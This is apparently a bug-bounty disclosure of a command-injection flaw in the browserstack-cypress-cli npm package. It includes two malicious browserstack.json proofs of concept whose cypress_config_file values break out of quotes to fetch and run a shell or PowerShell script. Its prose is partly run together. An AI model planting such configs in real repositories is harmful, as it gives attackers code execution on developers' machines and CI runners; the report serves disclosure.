{
"auth": {
"username": "mrecho@wearehackerone.com",
"access_key": "hhhhhhhhhhhhhhhhhhhh"
},
"browsers": [
{
"browser": "chrome",
"os": "Windows 10",
"versions": ["latest"]
}
],
"run_settings": {
"cypress_config_file": "cypress.config\";curl localhost:8000/shell.sh|sh;\".js",
"cypress_version": "13",
"project_name": "test",
"build_name": "test"
}
}
{
"auth": {
"username": "mrecho@wearehackerone.com",
"access_key": "hhhhhhhhhhhhhhhhhhhh"
},
"browsers": [
{
"browser": "chrome",
"os": "Windows 10",
"versions": ["latest"]
}
],
"run_settings": {
"cypress_config_file": "cypress.config\"&curl http://localhost:8000/shell.ps1 -o %TEMP%\\s.ps1 & powershell -ep bypass %TEMP%\\s.ps1&\".js",
"cypress_version": "13",
"project_name": "test",
"build_name": "test"
}
}
A malicious browserstack.json in any Git repository achieves arbitrary code execution on any developer or CI runner that clones the repo and runs npx browserstack-cypress-cli run, enabling supply chain attacks across the 30K+ weekly downloads of the package — no user interaction beyond the standard test command.
The
browserstack-cypress-clinpm package (v1.36.3) is vulnerable to OS command injection via thecypress_config_fileconfiguration parameter. InreadCypressConfigUtil.js, theloadJsFile()function constructs a shell command by interpolating the user-controlledcypress_config_filepathvalue into a template literal, then executes it viachild_process.execSync(). Shell metacharacters in the config path (specifically"and;) allow breaking out of the quoted argument and injecting arbitrary commands.POC :
Windows :
npx browserstack-cypress-cli runbrowserstack.json, resolves the config path, and passes it toexecSync()Impact
A malicious browserstack.json in any Git repository achieves arbitrary code execution on any developer or CI runner that clones the repo and runs npx browserstack-cypress-cli run, enabling supply chain attacks across the 30K+ weekly downloads of the package — no user interaction beyond the standard test command.
best regards ,
@MrEcho